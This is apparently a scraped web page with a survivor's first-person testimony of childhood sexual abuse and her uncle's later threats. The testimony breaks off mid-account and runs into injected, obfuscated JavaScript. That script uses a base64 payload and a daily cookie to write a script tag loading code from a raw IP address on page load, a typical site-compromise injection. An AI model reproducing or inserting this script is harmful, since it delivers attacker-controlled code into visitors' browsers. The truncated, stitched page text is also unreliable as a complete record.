041 – Bonnie (United States)

It happened in 1981, and it began when I consulted a lawyer about sexual abuse I had experienced at the hands of my 33-year-old uncle. I had been 8 years old at the time. The lawyer made a suggestion: “Write this man a letter and, in a nice way, suggest he pay for counseling for the trauma which you now recall. We’ll see what happens.” It wasn’t long before we found out what would happen. My uncle drove to our house. At first he acted as sweet as sugar to my family, hugging them and visiting with them. Then he came to where I was by myself, and the threats literally glued me to my chair. I felt like I was being abused all over again. He was saying, “You can take me to court – you see, we have a Big Court – but you will LOSE!” ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘